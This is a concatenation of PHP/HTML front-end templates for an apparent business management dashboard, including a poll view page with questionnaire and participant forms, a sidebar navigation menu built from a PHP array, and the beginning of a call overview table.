'/assets/plugins/chartist/chart.chartist.js',
'/assets/plugins/chartist/chartist-plugin-tooltip.js',
'/assets/plugins/multipleselect/multiple-select.js',
'/assets/plugins/multipleselect/multi-select.js',
'/assets/plugins/select2/select2.full.min.js',
];
?>
<file_sep>
<!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Poll View</h4>
<div class="float-right ml-auto">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary"><i class="fas fa-pen"></i> Edit</a>
</div>
<div class="float-right ml-1">
<a href="#" class="btn btn-primary bg-red"><i class="fas fa-trash mr-1"></i>Delete</a>
</div>
</div>
</div>
<!--page header-->
<div class="row">
<div class="col-xl-4 col-lg-12 col-md-12 ">
<div class="card">
<div class="card-header" >
<h3 class="card-title">Questionnaire</h3>
<div class="card-options d-none d-sm-block mr-1">
<button type="button" class="btn btn-success" data-toggle="modal" data-target="#questionAddModal"><i class="fas fa-plus"></i></button>
</div>
</div>
<div class="card-body">
<div class="row">
<div class="col-12">
<div class="card m-0">
<div class="card-body">
<div class="form-group">
<label class="form-label">Question <span class="form-label-small">00/100</span></label>
<textarea class="form-control" name="example-textarea-input" rows="6"
placeholder="text here.." spellcheck="false"></textarea>
</div>
</div>
</div>
</div>
<div class="col-12">
<div class="card mb-0 mt-1">
<div class="card-header">
<h3 class="card-title text-muted">OPTIONS</h3>
<div class="card-options d-none d-sm-block mr-1">
<a href="#" class="btn btn-outline-secondary btn-sm"><i
class="fas fa-plus"></i></a>
</div>
</div>
<div class="card-body">
<div class="form-group">
<label class="form-label">Option 1</label>
<input type="text" class="form-control" name="example-text-input">
</div>
<div class="form-group">
<label class="form-label">Option 2</label>
<input type="text" class="form-control" name="example-text-input">
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-6 mb-5 float-none mx-auto">
<button type="button" class="btn btn-outline-primary btn-sm btn-block"><i class="fas fa-check"></i> Save</button>
</div>
</div>
<div class="row">
<div class="col-xl-6 col-lg-12 col-md-12">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2" data-image-src="../assets/images/photos/pro18.jpg">
<span class="avatar-status bg-red"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Creator</span>
<div class="mt-4">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-12 col-md-12">
<div class="card">
<div class="card-body">
<div class="plan-card text-center">
<i class="fas fa-users plan-icon text-primary"></i>
<h6 class="text-drak text-uppercase mt-2">Total Participants</h6>
<h2 class="mb-2">7</h2>
</div>
</div>
</div>
</div>
</div>
<div class="card">
<div class="card-header ">
<div class="card-title font-weight-bold">
Poll Info
</div>
</div>
<div class="card-body">
<div class="table-responsive">
<table class="table card-table table-vcenter table-hover">
<tbody>
<tr>
<th scope="row">Creator :</th>
<td><NAME></td>
</tr>
<tr>
<th scope="row">Date :</th>
<td>12/8/97</td>
</tr>
<tr>
<th scope="row">Poll For :</th>
<td>Project</td>
</tr>
<tr>
<th scope="row">Number of participants :</th>
<td>7</td>
</tr>
<tr>
<th scope="row">Relation :</th>
<td>Project FH3400</td>
</tr>
</tbody>
</table>
</div>
<!-- table-responsive -->
</div>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title font-weight-bold">Recent Activity</h3>
</div>
<div class="card-body">
<div class="activity">
<img src="../assets/images/photos/pro18.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b><NAME></b> Add a new projects <b> <br>Project kick off</b></p>
<small class="text-info">30 mins ago</small>
</div>
</div>
<img src="../assets/images/photos/pro10.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b>Saba Nouri</b> Add a new projects <b>Design New Films</b></p>
<small class="text-danger">1 days ago</small>
</div>
</div>
<img src="../assets/images/photos/pro8.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b>Jasem Jabari</b> Add a new projects <b>Upload Modified Photos</b></p>
<small class="text-warning">3 days ago</small>
</div>
</div>
<img src="../assets/images/photos/pro11.jpg" alt="" class="img-activity">
<div class="time-activity mb-0">
<div class="item-activity mb-0">
<p class="mb-0"><b>Elnaz Shakerdoost</b><b> Hold The Coordination Meeting At Room Number 6</b></p>
<small class="text-success">5 days ago</small>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-8 col-lg-12 col-md-12 ">
<div class="row">
<div class="col-xl-6 col-lg-12 col-md-12">
<div class="card">
<div class="card-header">
<h3 class="card-title">Question 1</h3>
<div class="card-options d-none d-sm-block">
<a href="#" class="btn btn-outline-secondary btn-sm" data-target="#modal_save_as_template"
data-toggle="modal"><i class="fas fa-pen"></i></a>
</div>
</div>
<div class="card-body">
<div class="panel panel-primary">
<div class="form-group ">
<h5 class="mb-3">
Lorem ipsum dolor sit amet, consectetur adipisicing elitm?
</h5>
<div class="custom-controls-stacked">
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input" name="example-radios" value="option1" checked>
<span class="custom-control-label text-muted font-weight-bold">Option 1</span>
</label>
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input" name="example-radios" value="option2">
<span class="custom-control-label text-muted font-weight-bold">Option 2</span>
</label>
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input" name="example-radios" value="option3" >
<span class="custom-control-label text-muted font-weight-bold">Option 3</span>
</label>
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input" name="example-radios" value="option4">
<span class="custom-control-label text-muted font-weight-bold">Option 4</span>
</label>
</div>
</div>
</div>
</div>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title">Question 3</h3>
<div class="card-options d-none d-sm-block">
<a href="#" class="btn btn-outline-secondary btn-sm" data-target="#modal_save_as_template"
data-toggle="modal"><i class="fas fa-pen"></i></a>
</div>
</div>
<div class="card-body">
<div class="panel panel-primary">
<div class="form-group ">
<h5 class="mb-3">
Lorem ipsum dolor sit amet, consectetur adipisicing elitm?
</h5>
<div class="custom-controls-stacked">
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input" name="example-radios" value="option1" checked>
<span class="custom-control-label text-muted font-weight-bold">Option 1</span>
</label>
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input" name="example-radios" value="option2">
<span class="custom-control-label text-muted font-weight-bold">Option 2</span>
</label>
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input" name="example-radios" value="option3" >
<span class="custom-control-label text-muted font-weight-bold">Option 3</span>
</label>
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input" name="example-radios" value="option4">
<span class="custom-control-label text-muted font-weight-bold">Option 4</span>
</label>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-6 col-lg-12 col-md-12">
<div class="card">
<div class="card-header">
<h3 class="card-title">Question 2</h3>
<div class="card-options d-none d-sm-block">
<a href="#" class="btn btn-outline-secondary btn-sm" data-target="#modal_save_as_template"
data-toggle="modal"><i class="fas fa-pen"></i></a>
</div>
</div>
<div class="card-body">
<div class="panel panel-primary">
<div class="form-group ">
<h5 class="mb-3">
Lorem ipsum dolor sit amet, consectetur adipisicing elitm?
</h5>
<div class="custom-controls-stacked">
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input" name="example-radios" value="option1" checked>
<span class="custom-control-label text-muted font-weight-bold">Option 1</span>
</label>
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input" name="example-radios" value="option2">
<span class="custom-control-label text-muted font-weight-bold">Option 2</span>
</label>
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input" name="example-radios" value="option3" >
<span class="custom-control-label text-muted font-weight-bold">Option 3</span>
</label>
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input" name="example-radios" value="option4">
<span class="custom-control-label text-muted font-weight-bold">Option 4</span>
</label>
</div>
</div>
</div>
</div>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title">Question 4</h3>
<div class="card-options d-none d-sm-block">
<a href="#" class="btn btn-outline-secondary btn-sm" data-target="#modal_save_as_template"
data-toggle="modal"><i class="fas fa-pen"></i></a>
</div>
</div>
<div class="card-body">
<div class="panel panel-primary">
<div class="form-group ">
<h5 class="mb-3">
Lorem ipsum dolor sit amet, consectetur adipisicing elitm?
</h5>
<div class="custom-controls-stacked">
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input" name="example-radios" value="option1" checked>
<span class="custom-control-label text-muted font-weight-bold">Option 1</span>
</label>
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input" name="example-radios" value="option2">
<span class="custom-control-label text-muted font-weight-bold">Option 2</span>
</label>
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input" name="example-radios" value="option3" >
<span class="custom-control-label text-muted font-weight-bold">Option 3</span>
</label>
<label class="custom-control custom-radio">
<input type="radio" class="custom-control-input" name="example-radios" value="option4">
<span class="custom-control-label text-muted font-weight-bold">Option 4</span>
</label>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="card ">
<div class="card-body">
<div class="table-responsive">
<table class="table card-table table-vcenter text-nowrap ">
<thead class="bg-primary ">
<tr>
<th></th>
<th>Name</th>
<th>Date</th>
<th>Time</th>
<th class="text-center">Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="avatar-group">
<span class="avatar brround cover-image" data-image-src="../assets/images/photos/pro5.jpg"></span>
</div>
</td>
<td class="text-sm font-weight-600"><NAME></td>
<td class="text-nowrap">Jan 13, 2019</td>
<td>06:00 PM</td>
<td class="text-center"><span class="status-icon bg-success "></span></td>
</tr>
<tr>
<td>
<div class="avatar-group">
<span class="avatar brround cover-image" data-image-src="../assets/images/photos/pro18.jpg"></span>
</div>
</td>
<td class="text-sm font-weight-600"><NAME></td>
<td class="text-nowrap">-</td>
<td>-</td>
<td class="text-center"><span class="status-icon bg-red"></span></td>
</tr>
<tr>
<td>
<div class="avatar-group">
<span class="avatar brround cover-image" data-image-src="../assets/images/photos/pro1.jpg"></span>
</div>
</td>
<td class="text-sm font-weight-600"><NAME></td>
<td class="text-nowrap">Jan 8, 2019</td>
<td>09:35 AM</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
</tr>
<tr>
<td>
<div class="avatar-group">
<span class="avatar brround cover-image" data-image-src="../assets/images/photos/pro13.jpg"></span>
</div>
</td>
<td class="text-sm font-weight-600"><NAME></td>
<td class="text-nowrap">Jan 28, 2019</td>
<td>11:00 AM</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
</tr>
<tr>
<td>
<div class="avatar-group">
<span class="avatar brround cover-image" data-image-src="../assets/images/photos/pro9.jpg"></span>
</div>
</td>
<td class="text-sm font-weight-600">S<NAME>i</td>
<td class="text-nowrap">-</td>
<td>-</td>
<td class="text-center"><span class="status-icon bg-red"></span></td>
</tr>
<tr>
<td>
<div class="avatar-group">
<span class="avatar brround cover-image" data-image-src="../assets/images/photos/pro14.jpg"></span>
</div>
</td>
<td class="text-sm font-weight-600">Bashir Babajanzadeh</td>
<td class="text-nowrap">-</td>
<td>-</td>
<td class="text-center"><span class="status-icon bg-red"></span></td>
</tr>
<tr>
<td>
<div class="avatar-group">
<span class="avatar brround cover-image" data-image-src="../assets/images/photos/pro8.jpg"></span>
</div>
</td>
<td class="text-sm font-weight-600"><NAME></td>
<td class="text-nowrap">Feb 2, 2018</td>
<td>09:00 AM</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="card">
<div class="card-header">
<h4 class="card-title font-weight-bold">Poll Result</h4>
</div>
<div class="card-body">
<div id="highchart3"></div>
</div>
</div>
</div>
</div>
<!--Modals-->
<div class="modal fade" id="questionAddModal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog " role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">Add Question</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-12">
<div class="card m-0">
<div class="card-body">
<div class="form-group">
<label class="form-label">Question <span class="form-label-small">00/100</span></label>
<textarea class="form-control" name="example-textarea-input" rows="6"
placeholder="text here.." spellcheck="false"></textarea>
</div>
</div>
</div>
</div>
<div class="col-12">
<div class="card mb-0 mt-1">
<div class="card-header">
<h3 class="card-title text-muted">OPTIONS</h3>
<div class="card-options d-none d-sm-block mr-1">
<a href="#" class="btn btn-outline-secondary btn-sm"><i
class="fas fa-plus"></i></a>
</div>
</div>
<div class="card-body">
<div class="form-group">
<label class="form-label">Option 1</label>
<input type="text" class="form-control" name="example-text-input">
</div>
<div class="form-group">
<label class="form-label">Option 2</label>
<input type="text" class="form-control" name="example-text-input">
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i> Save</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="edit-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">New Team</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class=" border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab1" class="active font-weight-bold" data-toggle="tab">Basic Info</a></li>
<li class=""><a href="#tab2" class=" font-weight-bold" data-toggle="tab">Participants</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="title">Topic :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="title"
type="text">
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="type">Poll for :</label>
</div>
<div class="col-lg-9">
<select class="form-control">
<option>Employee</option>
<option>Customer</option>
<option>Project</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="FromDate">Due Date </label>
</div>
<div class="col-lg-9">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="far fa-calendar tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control fc-datepicker"
id="FromDate"
placeholder="MM/DD/YYYY"
type="date">
</div>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="attendant">Relation :</label>
</div>
<div class="col-lg-9">
<!-- Accordion begin -->
<ul class="demo-accordion accordionjs m-0"
data-active-index="false">
<!-- Section 1 -->
<li>
<div><h3>Employee</h3></div>
<div>
</div>
</li>
<!-- Section 2 -->
<li>
<div><h3>Unit</h3></div>
<div>
<!-- Your text here. For this demo, the content is generated automatically. -->
</div>
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab2">
<div class="row">
<div class="col-12">
<div class="form-group clearfix">
<div class="row mt-3">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="attendant">Participants :</label>
</div>
<div class="col-lg-9">
<!-- Accordion begin -->
<ul class="demo-accordion accordionjs m-0"
data-active-index="false">
<!-- Section 1 -->
<li>
<div><h3 id="">Customer</h3></div>
<div>
<div class="form-group ">
<select class="form-control select2-show-search "
data-placeholder="Choose one">
<option value="p1">project 1
</option>
<option value="p2">project 2
</option>
<option value="p3">project 3
</option>
<option value="p4">project 4
</option>
<option value="p5">project 5
</option>
</select>
</div>
</div>
</li>
<!-- Section 2 -->
<li>
<div><h3>Employee</h3></div>
<div>
</div>
</li>
<!-- Section 3 -->
<li>
<div><h3>Branch</h3></div>
<div>
<!-- Your text here. For this demo, the content is generated automatically. -->
</div>
</li>
<!-- Section 4 -->
<li>
<div><h3>Companies</h3></div>
<div>
<!-- Your text here. For this demo, the content is generated automatically. -->
</div>
</li>
</ul>
</div>
</div>
</div>
</div>
<div class="col-12">
<div class="row mt-5">
<div class="col-md-12 col-lg-12">
<div class="table-responsive rounded-bottom">
<table class="table card-table table-vcenter text-nowrap table-primary border">
<thead class="bg-primary text-white border-dark">
<tr>
<th class="text-white">Name</th>
<th class="text-white text-center">Unit</th>
<th class="text-white text-center">Role</th>
</tr>
</thead>
<tbody>
<tr>
<th scope="row"><NAME></th>
<td class="text-center">
TQM
</td>
<td class="text-center">
HR
</td>
</tr>
<tr>
<th scope="row"><NAME></th>
<td class="text-center">
Finance
</td>
<td class="text-center">
Credit analyst
</td>
</tr>
<tr>
<th scope="row"><NAME></th>
<td class="text-center">
IT
</td>
<td class="text-center">
Content manager
</td>
</tr>
<tr>
<th scope="row"><NAME></th>
<td class="text-center">
Film
</td>
<td class="text-center">
Cameraman
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="col-12">
<div class="card mt-5 mb-0">
<div class="card-body">
<div class="row">
<div class="col-3 ">
<div class="card border-success text-center font-weight-bold text-muted">Meeting leader</div>
</div>
<div class="col-3 ">
<div class="card border-warning text-center font-weight-bold text-muted">Employee</div>
</div>
<div class="col-3 ">
<div class="card border-secondary text-center font-weight-bold text-muted">Guest</div>
</div>
<div class="col-3 ">
<div class="card border-info text-center font-weight-bold text-muted">Vendor</div>
</div>
<div class="col-3">
<div class="card border-success ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2"
data-image-src="../assets/images/photos/pro10.jpg" style="background: url("../assets/images/photos/pro9.jpg") center center;">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Person Position</span>
<div>
<span class="badge badge-default">manager</span>
</div>
<div class="mt-4">
<button href="#"
class="btn-pill btn-outline-success btn-sm font-weight-bold">
<i class="fas fa-phone"></i></button>
<button href="#"
class="btn-pill btn-outline-warning btn-sm font-weight-bold">
<i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
<div class="row">
<div class="col-12 text-center">
<a href="#" class="fas fa-remove text-danger"></a>
</div>
</div>
</div>
<div class="col-3">
<div class="card border-warning ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2"
data-image-src="../assets/images/photos/pro14.jpg"
style="background: url("../assets/images/photos/pro9.jpg") center center;">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#">Abbas
Ghaderi</a></h5>
<span>Person Position</span>
<div>
<span class="badge badge-default">supervisor</span>
</div>
<div class="mt-4">
<button href="#"
class="btn-pill btn-outline-success btn-sm font-weight-bold">
<i class="fas fa-phone"></i></button>
<button href="#"
class="btn-pill btn-outline-warning btn-sm font-weight-bold">
<i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
<div class="row">
<div class="col-12 text-center">
<a href="#" class="fas fa-remove text-danger"></a>
</div>
</div>
</div>
<div class="col-3">
<div class="card border-secondary ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2"
data-image-src="../assets/images/photos/pro11.jpg"
style="background: url("../assets/images/photos/pro9.jpg") center center;">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#">Asal Nasirtash</a></h5>
<span>Person Position</span>
<div>
<span class="badge badge-default">designer</span>
</div>
<div class="mt-4">
<button href="#"
class="btn-pill btn-outline-success btn-sm font-weight-bold">
<i class="fas fa-phone"></i></button>
<button href="#"
class="btn-pill btn-outline-warning btn-sm font-weight-bold">
<i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
<div class="row">
<div class="col-12 text-center">
<a href="#" class="fas fa-remove text-danger"></a>
</div>
</div>
</div>
<div class="col-3">
<div class="card border-info">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2"
data-image-src="../assets/images/photos/pro7.jpg"
style="background: url("../assets/images/photos/pro9.jpg") center center;">
<span class="avatar-status bg-green"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#">Mehdi Yegane</a></h5>
<span>Person Position</span>
<div>
<span class="badge badge-default">cameraman</span>
</div>
<div class="mt-4">
<button href="#"
class="btn-pill btn-outline-success btn-sm font-weight-bold">
<i class="fas fa-phone"></i></button>
<button href="#"
class="btn-pill btn-outline-warning btn-sm font-weight-bold">
<i class="fas fa-envelope"></i></button>
</div>
</div>
</div>
<div class="row">
<div class="col-12 text-center">
<a href="#" class="fas fa-remove text-danger"></a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i> Save</button>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/accordion/accordion.min.js',
'/assets/plugins/accordion/accor.js',
'/assets/plugins/multipleselect/multiple-select.js',
'/assets/plugins/multipleselect/multi-select.js',
'/assets/plugins/input-mask/jquery.maskedinput.js',
'/assets/plugins/highcharts/highcharts.js',
'/assets/plugins/highcharts/highcharts-3d.js',
'/assets/plugins/highcharts/exporting.js',
'/assets/plugins/highcharts/export-data.js',
'/assets/plugins/highcharts/histogram-bellcurve.js',
'/assets/plugins/chart/chart.bundle.js',
'/assets/js/chart.js',
'/assets/js/highcharts.js',
];
?><file_sep><?php $menuItems =
[
[
'link' => '/dashboard',
'title' => 'Dashboard',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
]
],
[
'link' => '/task-overview-add-edit',
'title' => 'Task',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
]
],
[
'link' => '/meeting-overview',
'title' => 'Meeting',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
]
],
[
'link' => '/call-overview-view',
'title' => 'Calls',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
]
],
[
'link' => '/letter-overview-add',
'title' => 'Letters',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
]
],
[
'link' => '/calendar-view',
'title' => 'Calendar',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
]
],
[
'link' => '/project-overview-add-edit',
'title' => 'Projects',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
]
],
[
'link' => 'asdasd',
'title' => 'Templates',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
['url' => '/meetings-temp', 'title' => 'Meetings'],
['url' => '/calls-temp', 'title' => 'Calls'],
['url' => '/tasks-temp', 'title' => 'Tasks'],
['url' => '/letters-temp', 'title' => 'Letters'],
['url' => '/project-template-view', 'title' => 'Project'],
]
],
[
'link' => '',
'title' => 'Peoples',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
['url' => '/customer-overview', 'title' => 'Customer'],
['url' => '/customergroup-overview', 'title' => 'Customer Group'],
]
],
[
'link' => '/services-overview',
'title' => 'Services',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
]
],
[
'link' => '/deal-overview',
'title' => 'Deals',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
]
],
[
'link' => '/contract-overview-add-edit',
'title' => 'Contracts',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
]
],
[
'link' => '/company-overview',
'title' => 'Companies',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
]
],
[
'link' => '/poll-overview',
'title' => 'Polls',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
]
],
[
'link' => '/branch-overview-add-edit',
'title' => 'Branches',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
]
],
[
'link' => '/products-view',
'title' => 'Products',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
]
],
[
'link' => '/product-overview',
'title' => 'Product-overview',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
]
],
[
'link' => '',
'title' => 'Catering',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
['url' => '/catering-request', 'title' => 'Catering Request'],
['url' => '/catering-purchase-deed', 'title' => 'Catering Purchase Deed'],
['url' => '/catering-reservation', 'title' => 'Reservation '],
]
],
[
'link' => '',
'title' => 'HR',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
['url' => '/team-overview-add-edit', 'title' => 'Team'],
['url' => '/employee-overview', 'title' => 'Employees'],
['url' => '/definition-overview', 'title' => 'Definitions'],
['url' => '/timeoff-overview-view', 'title' => 'Time Off'],
]
],
[
'link' => '',
'title' => 'Warehouse',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
['url' => '/equipment-overview-add-edit', 'title' => 'Equipment'],
['url' => '/inventory-overview-add-edit', 'title' => 'Inventories'],
['url' => '/equipmenttransferdeed-overview-add-edit', 'title' => 'Transfer Deed'],
['url' => '/equipmentsupplydeed-overview-add-edit', 'title' => 'Supply Deed'],
['url' => '/equipmentpurchasedeed-overview', 'title' => 'Purchase Deed'],
]
],
[
'link' => '',
'title' => 'Transport',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
['url' => '/delivery-method', 'title' => 'Delivery method'],
['url' => '/vehicles', 'title' => 'Vehicles'],
['url' => '/delivery-person', 'title' => 'Delivery person'],
]
],
[
'link' => '/business-overview',
'title' => 'Business',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
]
],
[
'link' => '',
'title' => 'Financial',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
['url' => '/invoice-overview-add-edit', 'title' => 'Invoices'],
['url' => '/payment-request-overview-add-edit', 'title' => 'Payment Requests'],
['url' => '/transaction-overview', 'title' => 'Transactions'],
['url' => '/bank-account-overview-add-edit', 'title' => 'Bank accounts'],
]
],
[
'link' => '',
'title' => 'Setting',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
['url' => '/currency', 'title' => 'Currency'],
['url' => '/bank-overview-add-edit', 'title' => 'Banks'],
['url' => '/Languages', 'title' => 'Languages'],
['url' => '/alerts', 'title' => 'Alerts Notifications'],
]
],
[
'link' => '',
'title' => 'Notification',
'icon' => 'side-menu__icon si si-layers',
'drop_down_items' => [
['url' => '/sms-overview', 'title' => 'SMS'],
['url' => '/email-overview', 'title' => 'Email'],
['url' => '/letter-overview-add-edit', 'title' => 'Letter Headers'],
['url' => '/business-card', 'title' => 'Business Card'],
]
],
];
?>
<!-- Sidebar menu-->
<div class="app-sidebar__overlay" data-toggle="sidebar"></div>
<aside class="app-sidebar">
<div class="app-sidebar__user">
<div class="user-body">
<span class="avatar avatar-lg brround text-center cover-image"
data-image-src="../assets/images/photos/pro1.3.jpg"></span>
</div>
<div class="user-info">
<a href="#" class="ml-2"><span
class="text-dark app-sidebar__user-name font-weight-semibold"><NAME></span><br>
<span class="text-muted app-sidebar__user-name text-sm"> CEO</span>
</a>
</div>
</div>
<ul class="side-menu">
<?php foreach ($menuItems as $menuItem) : ?>
<li <?= ($menuItem['drop_down_items']) ? "class=\"slide\"" : "" ?>>
<a class="side-menu__item" <?= ($menuItem['drop_down_items']) ? "data-toggle=\"slide\"" : "" ?>
href="<?= ($menuItem['drop_down_items']) ? "#" : $menuItem['link'] ?>">
<i class="<?= $menuItem['icon'] ?>"></i>
<span class="side-menu__label"><?= $menuItem['title'] ?></span>
<?php if ($menuItem['drop_down_items']): ?>
<i class="angle fas fa-angle-right"></i>
<?php endif; ?>
</a>
<?php if ($menuItem['drop_down_items']): ?>
<ul class="slide-menu">
<?php foreach ($menuItem['drop_down_items'] as $drop_down_item): ?>
<li>
<a class="slide-item"
href="<?= $drop_down_item['url'] ?>"><?= $drop_down_item['title'] ?></a>
</li>
<?php endforeach; ?>
</ul>
<?php endif; ?>
</li>
<?php endforeach; ?>
</ul>
</aside>
<!--side-menu-->
<file_sep><!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Call Overview</h4>
<div class="row">
<div class="col-12">
<button type="button" class="btn btn-success" data-toggle="modal" data-target="#add-modal"><i class="fas fa-plus"></i></button>
</div>
</div>
</div>
</div>
<!--page header end-->
<div class="row">
<div class="col-md-12 col-lg-12">
<div class="card">
<div class="card-body">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead>
<tr class="bg-primary">
<th class="wd-15p border-bottom-0 text-center">Topic</th>
<th class="wd-25p border-bottom-0 text-center">Call Method</th>
<th class="wd-25p border-bottom-0 text-center">From</th>
<th class="wd-25p border-bottom-0 text-center">To</th>
<th class="wd-25p border-bottom-0 text-center">Date</th>
<th class="wd-25p border-bottom-0 text-center">Time</th>
<th class="wd-25p border-bottom-0 text-center">Result
</th>
<th class="wd-25p border-bottom-0 text-center">Status</th>
<th class="wd-25p border-bottom-0 text-center"></th>
</tr>
</thead>
<tbody>
